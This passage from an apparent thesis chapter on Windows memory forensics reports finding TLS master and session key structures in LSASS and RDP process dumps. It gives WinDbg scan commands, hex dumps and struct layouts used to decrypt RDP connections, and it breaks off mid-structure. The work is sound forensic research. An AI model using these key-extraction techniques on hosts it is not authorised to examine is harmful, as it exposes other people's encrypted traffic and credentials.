and infused the information gleaned in the literature review to do so. Chapter Four will describe the results achieved through application of this methodology, and any anecdotal findings or deviations from what has been described. 54 CHAPTER 4. RESULTS & DISCUSSION A variety of outcomes were obtained through application of the steps discussed in Chapter Three and through adaptations that deviated from the anticipated methodology. This section discusses those outcomes, roughly segmented in alignment with the steps that appeared in the methodology. A brief summary of the most salient findings is as follows: • Master key structures were identified and mapped to the session ID (but not the client/server random), allowing successful decryption of TLS connections • Other opaquely documented TLS structures were identified and documented • Time constants alluded to in the Checkoway paper were identified and explained • Methodical evolutions that are applicable to future endeavors were developed and employed For clarity, the remainder of the results will be explained and illustrated in the context of a single client/server memory pair and complimentary packet capture. This facilitates understanding the chain of discovery events and flows more naturally. Similarly, most examples/figures, when applicable, are related through the lens of WinDbg, allowing more consistent and lucid explanations. 4.1 Staging and Execution The testing environment was established as shown in Figure 3.2 from Chapter Three. Various RDP connections were made between hosts during the analysis, and the hosts were rebooted periodically. The hosts were allowed access to the Internet, for the sake of broadening the number of possible artifacts that could 55 be found. These additional artifacts result from connections instigated by autonomous tasks Windows engages in like checking for updates. The focus of the research was on the exploration and development of a technique to extract the artifacts. Future work will focus on rigorous scientific testing of the methods to further validate the provenance and accuracy of the findings. Even so, as will be illustrated, most conclusions are derived not only from direct observation, but from the mechanics that are used to implement TLS in Windows (the DLLs, Functions, and default variables) and the Microsoft’s documentation thereof, adding weight beyond simply experimental observation. Below are a list of sources and connection parameters from one experimental run that will be used to frame the discussion of the rest of the results. These typify the evidentiary items and artifacts used for other experimental runs. The hope is that discussion of these parameters will portray the relationships of artifacts and logic employed to arrive at conclusions more clearly. The data sources analyzed in a given run include those below, and the public values of a single RDP connection established appear in Figure 4.1 • Network capture from client of bidirectional RDP session • LSASS user-mode process dump of the server • LSASS user-mode process dump of the client • VMEM of server directly after LSASS dump creation • VMEM of client directly after LSASS dump creation 56 Figure 4.1. Example connection parameters in Wireshark 4.2 Heuristic Scanning for AES keys Bulk extractor scans yielded AES keys on both client and server, but not common keys between the two. It was expected that AES keys would be returned due to the aforementioned role that LSASS plays in encrypting secrets for locally authenticated users. Despite no cross-system matches, there were keys on each individual host that appeared multiple times. 57 The lack of an overt match does not preclude the possibility that the matching AES session keys do reside in memory. It simply means that a valid key schedule was not identified between the two using the algorithm employed by bulk extractor. It is conceivable that the session key was transferred to the requesting process and then destroyed within the LSASS process. Considering the presence of other key schedules, the lack of a valid schedule for a session keys that does exist seems somewhat unlikely as it would point to an inconsistent implementation. The absence of a match led to the identified keys schedules being inspected manually. Manual inspection involved viewing context surrounding the keys in a hex editor for possible clues as to whether or not they may relate to an TLS connection. If the keys were allocated in close temporal proximity to other connection parameters, there may be adjacency to those parameters on the heap for instance. The keys were examined sequentially from the lowest match address to the highest. In the sample above, both AES-128 and AES-256 keys were returned. The scope of the search could have been restricted to only AES-128 keys (based on the cipher suite) for efficiency; however, the limited number of keys meant that examining the additional keys was not burdensome and actually provided a valuable anti-pattern (e.g. what values exist around all AES keys found and are therefore dis-interesting in the context of a search for TLS-specific artifacts). The examination led to several relevant discoveries. The majority of the first keys were prefixed with the magic dword values “RUUU” and “KSSM” if rendered in ASCII. These numeric values are stored Little Endian, and so when considered as strings they would be “UUUR” and “MSSK” respectively. The two strings appear in the source code for credential extraction tools like Mimikatz in relation to Microsoft’s bcrypt module (Delphy, 2016b). The interesting point, however, was when keys appeared that did not have “RUUU” prefixing them, but maintained a similar structure (including “MSSK”). These keys appeared to have a magic dword with the value of “3lss” or “ssl3” in Big 58 Endian. This was an immediate indicator that they could be related to SSL. As anticipated earlier, the first key preceded by the “ssl3” tag was located near connection artifacts such as the unicode text “Microsoft SSL Protocol Provider,” what appears to be a session ID, connection parameters, and URLs. Some of this context can be viewed in Figure 4.2. 48 80 31 e7 5e 00 00 00-98 5b 24 e7 5e 00 00 00 H.1.^....[$.^... 04 00 00 00 00 c2 02 0c-00 08 00 00 28 c0 00 00 ............(... 18 00 00 00 80 01 00 00-10 00 00 00 10 00 00 00 ................ 00 00 00 00 00 00 00 00-01 00 00 00 00 00 00 00 ................ 01 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 00 00 00 00 00 00 00 00-b0 e5 2d e7 5e 00 00 00 ..........-.^... 20 00 00 00 6f 23 00 00-a0 21 aa c4 8d 15 54 45 ...o#...!....TE 24 c1 45 4e 4e c0 1d 5a-db 30 5d 8d 9d 57 ab 2b $.ENN..Z.0]..W.+ 99 1d d5 97 00 00 00 00-00 00 00 00 00 00 00 00 ................ 00 00 00 00 00 00 00 00-00 00 00 00 05 00 00 00 ................ 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ ff ff ff ff 00 00 00 00-00 00 00 00 00 00 00 00 ................ 09 00 00 00 40 00 00 00-40 00 00 00 00 00 00 00 ....@...@....... 4d 00 69 00 63 00 72 00-6f 00 73 00 6f 00 66 00 M.i.c.r.o.s.o.f. 74 00 20 00 53 00 53 00-4c 00 20 00 50 00 72 00 t. .S.S.L. .P.r. 6f 00 74 00 6f 00 63 00-6f 00 6c 00 20 00 50 00 o.t.o.c.o.l. .P. 72 00 6f 00 76 00 69 00-64 00 65 00 72 00 00 00 r.o.v.i.d.e.r... 02 00 00 00 80 02 00 00-7c 02 00 00 00 00 00 00 ........|....... 7c 02 00 00 33 6c 73 73-03 03 00 00 28 c0 00 00 |...3lss....(... 01 00 00 00 30 02 00 00-30 00 00 00 31 de 5f 96 ....0...0...1._. 80 e3 a4 10 fc 78 f1 cf-c5 de e6 dd 7d 63 7b ab .....x......}c{. c0 68 c5 b3 cf 1d c4 7b-17 1b 01 ad 60 00 c8 f2 .h.....{....‘... 8c d5 3b be 6a 42 49 d0-a7 9f 2c bc 30 02 00 00 ..;.jBI...,.0... 4b 53 53 4d 02 00 01 00-01 00 00 00 10 00 00 00 KSSM............ 00 01 00 00 20 00 00 00-4c 2a 57 5a 12 c3 f4 e2 .... ...L*WZ.... 15 31 48 4d ff 9f ab 34-aa 54 91 28 cc 9e 6f 5f .1HM...4.T.(..o_ 4e a9 b3 d1 f9 29 8c 8d-00 00 00 00 4c 2a 57 5a N....)......L*WZ 12 c3 f4 e2 15 31 48 4d-ff 9f ab 34 aa 54 91 28 .....1HM...4.T.( cc 9e 6f 5f 4e a9 b3 d1-f9 29 8c 8d e8 4e 0a c3 ..o_N....)...N.. fa 8d fe 21 ef bc b6 6c-10 23 1d 58 60 72 35 42 ...!...l.#.X‘r5B ac ec 5a 1d e2 45 e9 cc-1b 6c 65 41 ba 03 89 6c ..Z..E...leA...l Figure 4.2. ssl3 tag to AES artifact adjacency 59 Searching for the dword “MSSK” with WinDbg led to hits both in writable space and in a loaded module (as expected for a static magic value). Resolving the nearest symbols to the magic values within the module led to both insight into the meaning of MSSK and a tactic that will be employed repeatedly later. All of the symbols were found in the “bcryptprimitives” module and were related to “MSCrypt” keys. The most interesting symbol name resolved was “bcryptprimitives!validateMSCryptSymmKey.” This was a pivotal revelation for the analysis: assumption about a structure can be verified to some degree by looking for a “validate” functions related to that structure. The validate functions encountered were fairly simple, as can be seen by the disassembly of the “bcryptprimitives!validateMSCryptSymmKey” in Figure 4.3. 0:000> uf bcryptprimitives!validateMSCryptSymmKey bcryptprimitives!validateMSCryptSymmKey: 00007ffa‘436a79ac 33c0 xor eax,eax 00007ffa‘436a79ae 4885c9 test rcx,rcx 00007ffa‘436a79b1 740b je bcryptprimitives!validateMSCryptSymmKey+0x12 (00007ffa‘436 a79be) Branch bcryptprimitives!validateMSCryptSymmKey+0x7: 00007ffa‘436a79b3 8179044b53534d cmp dword ptr [rcx+4],4D53534Bh // ascii ’MSSK’ 00007ffa‘436a79ba 480f45c8 cmovne rcx,rax bcryptprimitives!validateMSCryptSymmKey+0x12: 00007ffa‘436a79be 488bc1 mov rax,rcx 00007ffa‘436a79c1 c3 ret Figure 4.3. Disassembled validateMSCryptSymmKey function (annotated) It was inferred from this and other symbol names that MSSK likely stands for “MicroSoft Symmetric Key” or “Microsoft Software Symmetric Key.” This finding is in-line with discovery of the AES keys within the MSSK structure. The AES key is actually repeated twice in close proximity, but bulk extractor (and, by proxy, findaes) only identified one of the two keys. The reason is that the first value 60 is the actual key, whereas the second “key” exists as part of the (much larger) identified schedule. As mentioned, the “cold-boot attacks” paper discussed the observation that schedule pre-calculation produces a large deterministic block as a time-memory trade-o↵ which, while efficient, also constitutes a security risk by enabling the type of scanning employed here (Halderman et al., 2008). Performing the same analysis on the ssl3 tag resolved the symbols listed in Figure 4.4, all of which were inside of the “ncryptsslp” (Ncrypt SSL Provider) module. There was no “validate” function for ssl3, but the combination of the symbol names and close proxity to the AES keys provide corroborating circumstantial evidence that 3lss could be a session key structure, or at the very least another structure that requires a key (for instance the HMAC or the key used for session ticket encryption / decryption). Note that the trailing symbols from the “ln” command and miscellaneous hyperlinks have been removed from Figure 4.4 for brevity. 0:000> .foreach(match {s -[1]a 00007ffa‘00000000 L?800000000000 3lss}){ln match} (00007ffa‘3f172400) ncryptsslp!TlsGenerateSessionKeys+0x251 (00007ffa‘3f172400) ncryptsslp!TlsGenerateSessionKeys+0x2aa (00007ffa‘3f173000) ncryptsslp!SPSslDecryptPacket+0x43 (00007ffa‘3f1735c0) ncryptsslp!SPSslEncryptPacket+0x43 (00007ffa‘3f173f20) ncryptsslp!SPSslImportKey+0x19a (00007ffa‘3f173f20) ncryptsslp!SPSslImportKey+0x22b (00007ffa‘3f1743b0) ncryptsslp!SPSslExportKey+0x76 (00007ffa‘3f1743b0) ncryptsslp!SPSslExportKey+0x103 (00007ffa‘3f175440) ncryptsslp!SPSslFreeObject+0x1b (00007ffa‘3f176b20) ncryptsslp!guard_dispatch_icall_nop+0x1e07** (00007ffa‘3f17c8d4) ncryptsslp!Ssl2GenerateSessionKeys+0x22c (00007ffa‘3f17c8d4) ncryptsslp!Ssl2GenerateSessionKeys+0x294 **Missing Symbols for function, nop was closest symbol Figure 4.4. ssl3 resolved symbols The composition of the ssl3 structure and other SSL structures will be discussed in Section 4.4 of this chapter. Briefly, notice from Figure 4.2 that directly 61 after the ssl3 structure, the values “0x0303” and “0x0c28” appear, which match the public connection parameters listed earlier. The value directly preceding the “ssl3” magic is a dword indicating the size of the structure, which encompasses the MSSK structure and adds weight to the supposition that the keys may in fact be session keys when combined with the symbols, despite the lack of cross-host matches. Returning to the literature review, it was conceived that, as Schannel is also loaded into the process requesting the SSL/TLS connection, the 3lss structure may still be the session key structure, and may be passed to the application after the key exchange, even though LSASS performs the key isolation for longer-term keys. For this reason, dumps were made of the RDP processes on either side of the connection1. This yielded matching 3lss structures, solidifying the circumstantial evidence that 3lss is the session key structure. The actual structure with the ’3lss’ tag was di↵erent in these processes than in LSASS, however. As anticipated, more than one matching key was found between hosts, presumably for a client write and server write key. Supporting this is a value which appears to be a flag for read or write that is set oppositely for matching keys on each side of the connection. 4.3 Public Connection Values Scanning with the unique public connection values did return hits, but did not immediately lead to a direct correlation with a key. The session ID and the client/server random values both appeared in multiple locations in memory across samples, but did not appear reliably linked to a key in the immediate context. As will be discussed later, the session ID was eventually linked to the master key. The client and server random values were seen to be stored concatenated together, with the client random preceding the server random value. A loose context for the random values was developed based on the hash suite list, possibly 1mstsc.exe on the client-side and the svchost process that contains the RDP Services on the server-side of the connection 62 stored in the same structure or allocated at the same time. An example of this relationship can be seen in Figure 4.5. The hash suite list appears to be stored in multiple structures, so use of this list to find the random automatically would be more complex. Misses can be seen in the output depicted in the figure. In x64 Windows 10 systems, the random values appear to begin approximately 0xD2 bytes above the first entry in some of the hash suite lists. There were also non-aligned instances of individual random values, where it was stored in close proximity to the hash suite list, appearing alongside what could be bu↵ered application data. No references to or from either nebulous hash suite list “structures” were identified, which meant that this was a dead end for further analysis during the time-frame available. 63 0:000> .foreach(hashSuite {s -[1w]b 0x0 L?800000000000 04 01 05 01 02 01 04 03 05 03 02 03 02 02}){db ${hashSuite}-D2 L40;.echo **} 0000005e‘e67623c0 56 ba 52 74 9b 13 80 53-02 dc f5 71 ca a5 0d 64 V.Rt...S...q...d 0000005e‘e67623d0 6a de d1 e5 d4 c7 30 46-98 88 83 90 b9 1b 50 b3 j.....0F......P. 0000005e‘e67623e0 56 ba 7c a4 b9 e0 c4 87-76 10 ee 27 be b3 33 11 V.|.....v..’..3. 0000005e‘e67623f0 cd 78 23 0d 4a 84 f8 51-d4 a8 28 1e 69 07 32 a6 .x#.J..Q..(.i.2. ** 0000005e‘e6767790 56 ba 52 74 41 ca a9 aa-d0 11 e0 7e e0 b7 67 02 V.RtA......~..g. 0000005e‘e67677a0 81 24 26 c0 c9 db 2d 2b-9d 0b 0d 34 04 bd ea 92 .$&...-+...4.... 0000005e‘e67677b0 56 ba 7c a4 83 81 c0 60-a3 5f 3a 6d b3 4d c8 c8 V.|....‘._:m.M.. 0000005e‘e67677c0 10 07 41 ff e5 ce ce 17-a0 25 76 4f 9f 20 e1 20 ..A......%vO. . ** 0000005e‘e678a248 56 ba 7d 0c 3b 9a 75 54-02 e7 c1 5a c7 d6 d5 59 V.}.;.uT...Z...Y 0000005e‘e678a258 72 5d f4 12 98 b5 c5 5f-8c e1 6b 74 a5 6a 25 44 r]....._..kt.j%D 0000005e‘e678a268 56 ba 52 dc ce 0f fb 20-61 5d 40 cc 27 2d 33 8e V.R.... a]@.’-3. 0000005e‘e678a278 1d c3 63 4d b7 ba 60 3b-89 ba 69 d3 2f d8 89 52 ..cM..‘;..i./..R ** 0000005e‘e678aed8 56 ba 7c a7 f0 84 1d 9f-49 51 4a 61 41 58 97 bc V.|.....IQJaAX.. 0000005e‘e678aee8 40 a3 53 79 91 4d 8a cb-d1 c7 00 8a 77 f6 f5 c6 @.Sy.M......w... 0000005e‘e678aef8 56 ba 52 77 81 5f df 8d-95 4c 9f 6a d0 47 62 f7 V.Rw._...L.j.Gb. 0000005e‘e678af08 5a 2e 91 4f 5a 87 04 a0-6a 55 0a 01 20 a3 ba 11 Z..OZ...jU.. ... ** 0000005e‘e7245ca8 56 ba 7c ad 4b fb f3 07-29 00 30 b4 da 42 37 c5 V.|.K...).0..B7. 0000005e‘e7245cb8 ba 8b 58 40 e0 9b d9 e7-93 ae 92 2c b2 49 0d 8d ..X@.......,.I.. 0000005e‘e7245cc8 56 ba 52 7d d6 76 9f 9b-d2 52 ce 18 64 e1 47 be V.R}.v...R..d.G. 0000005e‘e7245cd8 9a 85 c4 cf 38 35 06 68-8f fb 89 58 f6 e6 ce 35 ....85.h...X...5 ** 0000005e‘e72483f0 eb 00 00 00 02 00 00 00-00 00 02 00 00 00 00 00 ................ 0000005e‘e7248400 eb 00 00 00 00 00 00 00-16 03 03 00 e6 01 00 00 ................ 0000005e‘e7248410 e2 03 03 56 ba 7d 0c 3b-9a 75 54 02 e7 c1 5a c7 ...V.}.;.uT...Z. 0000005e‘e7248420 d6 d5 59 72 5d f4 12 98-b5 c5 5f 8c e1 6b 74 a5 ..Yr]....._..kt. ** 0000005e‘e7258838 00 00 00 00 00 00 08 00-00 00 63 e6 5e 00 00 00 ..........c.^... 0000005e‘e7258848 66 77 04 80 a1 ff ff ff-16 03 03 00 e6 01 00 00 fw.............. 0000005e‘e7258858 e2 03 03 56 ba 7d 0c 3b-9a 75 54 02 e7 c1 5a c7 ...V.}.;.uT...Z. 0000005e‘e7258868 d6 d5 59 72 5d f4 12 98-b5 c5 5f 8c e1 6b 74 a5 ..Yr]....._..kt. Figure 4.5. Client/Server random values in memory Scanning with the common public values like TLS version and cipher suite identifier led to the discovery of another structure, which was later confirmed to be 64 the master key structure. When the ssl3 tag was initially recognized, it seemed as though it might be a reference to SSL v3, which is sometimes conflated with TLS. This theory, however, changed rapidly upon scanning for other instances of the TLS version number, which led to the discovery of the magic value “ssl5” (the master key). 4.4 Identified SSL Structures After discovery of the ssl3 and ssl5 tags, all loaded modules were scanned for other appearances of the ASCII “ssl” appended with a number. This led to the identification of “ssl1” through “ssl7” inclusive, all of which were found in the ncryptsslp module. These values were then used to scan writable memory for instantiations, which yielded results for the majority of the magic values. Before going on to explore those instances, the magic values in the module were symbolically resolved to gain better insight into the meaning and utility of the identified instances. It was at this point that the “validate” functions came back into play; the ncryptsslp symbols were filtered to display those symbols that contain the phrase “validate” and the results can be seen in Figure 4.6. All of these functions shared a common flow when disassembled: 1. accept a handle (always a pointer in this case) 2. check that the first dword is a particular size value 3. check that the second dword is a specific magic value This explicitly ties a given magic to a particular purpose/concept in the TLS paradigm; further, it dictates the exact size of each structure and that the first two fields of each are a size followed by a magic. The disassembled “ncryptsslp!SslpValidateMasterKeyHandle” function that illustrates this flow can be seen in Figure 4.7 and the magic values are mapped to the Validate function in Table 4.1. 65 0:000> x /2 ncryptsslp!*validate* 00007ffa‘3f17b558 ncryptsslp!SslpValidateEphemeralHandle 00007ffa‘3f17b5b8 ncryptsslp!SslpValidateMasterKeyHandle 00007ffa‘3f1717ec ncryptsslp!SslpValidateProvHandle 00007ffa‘3f17b578 ncryptsslp!SslpValidateHashHandle 00007ffa‘3f17b598 ncryptsslp!SslpValidateKeyPairHandle Figure 4.6. Ncryptsslp “Validate” function symbols 0:000> uf ncryptsslp!SslpValidateMasterKeyHandle ncryptsslp!SslpValidateMasterKeyHandle: 00007ffa‘3f17b5b8 4885c9 test rcx,rcx 00007ffa‘3f17b5bb 7412 je ncryptsslp!SslpValidateMasterKeyHandle+0x17 (00007ffa‘3 f17b5cf) Branch ncryptsslp!SslpValidateMasterKeyHandle+0x5: 00007ffa‘3f17b5bd 833950 cmp dword ptr [rcx],50h 00007ffa‘3f17b5c0 720d jb ncryptsslp!SslpValidateMasterKeyHandle+0x17 (00007ffa‘3 f17b5cf) Branch ncryptsslp!SslpValidateMasterKeyHandle+0xa: 00007ffa‘3f17b5c2 817904356c7373 cmp dword ptr [rcx+4],73736C35h 00007ffa‘3f17b5c9 7504 jne ncryptsslp!SslpValidateMasterKeyHandle+0x17 (00007ffa‘3 f17b5cf) Branch ncryptsslp!SslpValidateMasterKeyHandle+0x13: 00007ffa‘3f17b5cb 488bc1 mov rax,rcx 00007ffa‘3f17b5ce c3 ret ncryptsslp!SslpValidateMasterKeyHandle+0x17: 00007ffa‘3f17b5cf 33c0 xor eax,eax 00007ffa‘3f17b5d1 c3 ret Figure 4.7. Disassembled ValidateMasterKey function (x64) The ssl3 and ssl7 magic values did not map to a “validate” function. The supposed purpose of ssl3 was discussed previously in Section 4.2, and is likely the session key structure. The ssl7 magic value symbolically resolved in three functions: 66 Table 4.1. Ncryptsslp magic values to function mapping SSL Magic Size (x86) Size (x64) Function ssl1 0xE4 0x130 SslpValidateProvHandle ssl2 0x24 0x30 SslpValidateHashHandle ssl3 ? ? < none > ssl4 0x18 0x20 SslpValidateKeyPairHandle ssl5 0x48 0x50 SslpValidateMasterKeyHandle ssl6 0x18 0x20 SslpValidateEphemeralHandle ssl7 ? ? < none > “ncryptsslp!SPSslGeneratePreMasterKey,” “ncryptsslp!SPSslGenerateMasterKey,” and “ncryptsslp!TlsDecryptMasterKey.” It also appeared in a fourth function for which no symbols existed. Because it was not identified as regularly instantiated during the various runs of the development phase, and because the master key structure did regularly appear, this was not pursued within the scope of the analysis. After enumerating the numbered SSL magics, scanning was performed on the “C:\Windows\System32\” directory where the majority of operating system DLLs reside. This was done with a rudimentary “findstr” command, simply to see if other (non-loaded) libraries referenced these magic values. The only match returned on the Windows 10 analysis machine was the ncryptsslp.dll file. With the knowledge gained from the validate functions about the intended size and purpose of the structures, the actual instantiations in memory were analyzed to enumerate the members of those structures. The focus was on the “keys,” beginning with the master key structure (ssl5) and including the presumed session key structure (ssl3), the “KeyPair” structure (ssl4), and the “Ephemeral” structure (ssl6). The most salient, and therefore most explored, of these was the master key. This structure was eventually leveraged to decrypt connections. Analysis performed 67 on the ssl3, ssl4, and ssl6 structures, was not as thorough or conclusive, but the fruits of that analysis are also provided here as a basis for future work. The master key instantiations were identified and dumped via the WinDbg command in Figure 4.8. Using this method, every identified structure was displayed separated by a series of asterisks, with the length determined by the size field (allowing the same command to be portable between x86 and x64 systems). Only one example instantiation was included for demonstration of the output. All of the resulting instances were then compared for similarities and known values. 0:000> .foreach(sslMK {s -[1w]d 0x0 L?800000000000 ’ssl5’}){db ${sslMK}-4 Ldwo(${sslMK}-4);.echo ************} 0000005e‘e72d2500 50 00 00 00 35 6c 73 73-03 03 00 00 00 00 00 00 P...5lss........ 0000005e‘e72d2510 10 18 18 3f fa 7f 00 00-01 00 00 00 35 41 87 dd ...?........5A.. 0000005e‘e72d2520 50 81 b2 18 5d b7 ff 7e-c9 db be a8 55 15 99 24 P...]..~....U..$ 0000005e‘e72d2530 a7 cb 8a 3d bf 33 6c 0a-a9 57 19 bb 2b 51 3a 36 ...=.3l..W..+Q:6 0000005e‘e72d2540 c7 7a 3a 9e e5 04 00 39-cd 05 a0 90 00 00 00 00 .z:....9........ ************ <...> Figure 4.8. SSL master key instance in memory (x64) The TLS version was found stored as a dword next to the magic values. This was verified through experimentation with the TLS version number during connections. Specifically, by changing the supported server TLS version, one could articulate the negotiated version for a connection. The version is changed by modifying registry values located within “HKLM SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL” under an eponymous subkey, which must be manually created for each SSL or TLS version desired (Microsoft, 2015e). If the master key structure were to be represented as a C struct using Hungarian Notation, as is used in much of the native code accessible on MSDN, it would appear similar to Figure 4.9. 68 typedef struct _SSL5_Struct { ULONG cbLength, // The count in bytes (cb), of the structure ULONG dwMagic, // a dword (dw) of the ASCII value ’ssl5’ [stored as ’5lss’] ULONG dwProtocol, // One of the CNG SSL Provider Protocol Identifier values (TLS Version) ULONG dwUnknown1, // non-existent in x86 -> padding? PVOID pvCipherSuite, // a pointer to an ncryptsslp!CipherSuiteList entry ULONG bIsClient, // boolean value - 0 for server, 1 for client UCHAR[48] MasterKey, // the 48-byte master key ULONG dwUnknown2 // always 0 -> reserved? } SSL5_Struct, *PSSL5_Struct; Figure 4.9. SSL master key (ssl5) C data structure Viewable in the comments within Figure 4.9, there are two unknown members. Speculatively, the first unknown may have any number of explainations, including: • This could be padding for alignment, though the structure appears to be a packed structure. • The protocol field may actually be a quadword (8 bytes) in x64 instead of a dword. This seems unnecessary considering the type of value being stored • It could be a dword only existing in x64, but this seems to be the least likely of the three and the value remains zero across the limited samples observed. The second unknown appears at the very end and was always observed to be zero. There was one pointer within the structure, which pointed to a list of cipher suites inside of the ncryptsslp binary. This list contained entries composed of the numeric cipher suite identifier (e.g. 0xc028) and a series of pointers to Unicode strings the described the elements of the cipher suite. The first pointer in the structure is to the full cipher suite name (e.g. TLS ECDHE RSA AES 256 CBC SHA384). This can be seen in Figure 4.10 69 0:000> dc 0000005e‘e73544d0 L2 0000005e‘e73544d0 00000050 73736c35 P...5lss 0:000> dps 0000005e‘e73544d0 Ldwo(0000005e‘e73544d0)/8 0000005e‘e73544d0 73736c35‘00000050 0000005e‘e73544d8 00000000‘00000303 0000005e‘e73544e0 00007ffa‘3f181810 ncryptsslp!CipherSuiteList+0x1300 0000005e‘e73544e8 2993e86c‘00000001 0000005e‘e73544f0 5d4a9b02‘4e8401f2 0000005e‘e73544f8 6bddd58d‘eb766f24 0000005e‘e7354500 ba53633b‘d4cdb1b9 0000005e‘e7354508 2d3b1142‘255cd666 0000005e‘e7354510 01a6a81c‘9af5559e 0000005e‘e7354518 00000000‘73f84d9e 0:000> dpu poi(0000005e‘e73544d0+10) L2 00007ffa‘3f181810 0000c028‘00000c00 00007ffa‘3f181818 00007ffa‘3f181fc0 "TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384" Figure 4.10. Dereference of CipherSuiteList entry from ssl5 The ssl3 structure maintained certain similarities with the master key structure. There are substantially more unknown variables and assumptions, but the first three members are the same, and the fourth known member serves the same purpose (identifying the cipher suite). Figure 4.11 provides the annotated structure as observed, but the variables were not directly manipulated to assist in identification, so in most cases speculations are noted. Interestingly, only AES keys were identified in this structure when valid, likely because it is the preferred symmetric algorithm broadly in use. If more time was available, attempts would be made to generate ssl3 structures with 3DES or RC4 to observe di↵erences. 70 typedef struct _SSL3_Struct { ULONG cbLength, // the count in bytes (cb), of the structure (usually 0x027C on x64) ULONG dwMagic, // a dword (dw) of the ASCII value ’ssl3’ [stored as ’3lss’] ULONG dwProtocol, // One of the CNG SSL Provider Protocol Identifier values (TLS Version) ULONG dwCipherSuite, // numeric cipher suite identifier ULONG dwUnknown1 // boolean value -- read or write key? ULONG cbSymmKey // this value observed to match the size value for MSSK ULONG cbHashLength, // the size of the ensuing hash, based on MAC algo UCHAR[48] HashData, // fixed field - if preceding length is not 48 bytes, then 0 padded MSSK_Struct SymmKey // the associated MSSK Structure } SSL3_Struct, *PSSL3_Struct; typedef struct _MSSK_Struct { ULONG cbLength, // the count in bytes (cb), of the structure (usually 0x0230 on x64) ULONG dwKeyMagic, // ’KSSM’ -> MS SK -> MicroSoft Symmetric Key ULONG dwUnknown2, // usually 0x02000100 -> 0x00010002 -> NCRYPT_SCHANNEL_INTERFACE? ULONG dwUnknown3, // Typically observed as 1 ULONG dwKeyBitLen, // the length in bits of the AES key, usually 0x100 or 0x80 ULONG cbKeyLength, // the count in bytes of the AES key (compliments below field) UCHAR[32] AesKey, // the AES key ULONG dwUnknown4, // always 0 -> padding? UCHAR[448] KeySchedule, // fixed length - the AES Key Schedule or state for each round, 0 padded ULONG dwUnknown5, // Half of the length, equivalent to N_state * N_rounds ULONG cbScheduleLen, // Overall size of KeySchedule member UCHAR[16] Unknown6 // Possibly an IV? this seems likely } MSSK_Struct, *PMSSK_Struct; Figure 4.11. LSASS SSL session key (ssl3) data structure As discussed in the literature review, the key schedule size is fixed for each AES key size (176, 208, or 240 bytes). So, for an AES 256-bit key, the schedule is 240 bytes long; however, the length of the expanded key sequence that bulk extractor identified is seemingly 448 bytes long for AES 256 and 320 for AES 128 keys, zero padded in the case of the latter. Incidentally, this was observed to be 32 bytes multiplied by the number of rounds, which would equate to twice the size of the state for each round. The first Nb(Nr + 1) ⇤ 4 bytes were determined to match the key schedule by passing the identified key to an AES implementation and printing the key schedule. This intuitively is why bulk extractor identified the keys 71 in the first place. Still, this leaves 208 bytes remaining in the case of AES 256. Of note is that the last 16 bytes (Nstate is always 128 bits) are always the first 16 bytes of the key (and by extension the first 16 bytes of the key schedule). It was also observed that two dwords typically followed the key schedule, both of which were related to size. The first dword containing the size of the Nstate(Nrounds) and the second was double that value, coinciding with the size of the full “KeySchedule” blob. As noted earlier, the session key structure (3lss) was also found in the requesting process memory, RDP in this case. This structure was similar to the one found in LSASS, but varied in several obvious ways. • The first is that the cipher suite ID was replaced with a pointer to the ncryptsslp!CipherSuiteList entry that the cipher suite ID appears in. • The second was that the structure appeared far less sparse, with pointers that referenced addresses within its own size value. • The third was the the “RUUU” magic value appeared inside ssl3 and pointed to the MSSK structure directly below it, also inside ssl3 An example of the first 0x100 bytes of one of these entries can be seen in Figure 4.12. Following that, the perceived structure, based on limited testing, is depicted in the Volatility V-Type format in Figure 4.13. 72 0:000> .foreach(sessK {s -[1w]a 0 L?800000000000 3lss}){.echo **;db ${sessK}-4 L100} ** 000001ef‘b9d1a1e0 2e 0d 00 00 33 6c 73 73-03 03 00 00 00 00 00 00 ....3lss........ 000001ef‘b9d1a1f0 90 19 57 d8 fc 7f 00 00-01 00 00 00 00 00 00 00 ..W............. 000001ef‘b9d1a200 50 a2 d1 b9 ef 01 00 00-00 00 00 00 00 00 00 00 P............... 000001ef‘b9d1a210 00 00 00 00 00 00 00 00-ff 1c 62 2b 00 00 00 00 ..........b+.... 000001ef‘b9d1a220 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 000001ef‘b9d1a230 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 000001ef‘b9d1a240 00 00 00 00 00 00 00 00-04 00 00 00 00 00 00 00 ................ 000001ef‘b9d1a250 be 0c 00 00 52 55 55 55-20 f4 c8 bb ef 01 00 00 ....RUUU ....... 000001ef‘b9d1a260 70 a2 d1 b9 ef 01 00 00-00 00 00 00 00 00 00 00 p............... 000001ef‘b9d1a270 80 0c 00 00 4b 53 53 4d-02 00 01 00 05 00 00 00 ....KSSM........ 000001ef‘b9d1a280 10 00 00 00 01 00 00 00-00 01 00 00 01 00 00 00 ................ 000001ef‘b9d1a290 30 b1 e5 bb ef 01 00 00-00 00 00 00 00 00 00 00 0............... 000001ef‘b9d1a2a0 00 00 00 00 00 00 00 00-20 00 00 00 b9 f0 65 ef ........ .....e. 000001ef‘b9d1a2b0 0a 27 33 62 0d 92 3d 2a-1e ba 24 3b 9a 1d 94 a8 .’3b..=*..$;.... 000001ef‘b9d1a2c0 70 d4 b5 ab 08 18 d6 f8-d8 04 1d 07 00 00 00 00 p............... 000001ef‘b9d1a2d0 b9 f0 65 ef 0a 27 33 62-0d 92 3d 2a 1e ba 24 3b ..e..’3b..=*..$; ** <...> 0:000> dps 000001ef‘b9d1a1e0 L5 000001ef‘b9d1a1e0 73736c33‘00000d2e 000001ef‘b9d1a1e8 00000000‘00000303 000001ef‘b9d1a1f0 00007ffc‘d8571990 ncryptsslp!CipherSuiteList+0x1400 000001ef‘b9d1a1f8 00000000‘00000001 000001ef‘b9d1a200 000001ef‘b9d1a250 Figure 4.12. Non-LSASS SSL session key (ssl3) data structure 73 ’_SSL_SESSION_KEY’: [ 0x0d2e, { ’Length’: [0x0, [’unsigned long’]], ’Magic’: [0x4, [’unsigned long’]], ’Protocol’: [0x8, [’unsigned char’]], ’CipherSuite’: [0x10, [’pointer64’, [’_SSL_CIPHER_SUITE_LIST_ENTRY’]]], ’IsWriteKey’: [0x18, [’Enumeration’, dict(target = ’unsigned long’, choices={0: False, 1: True}) ]], ’BcryptKey’: [0x20, [’pointer64’, 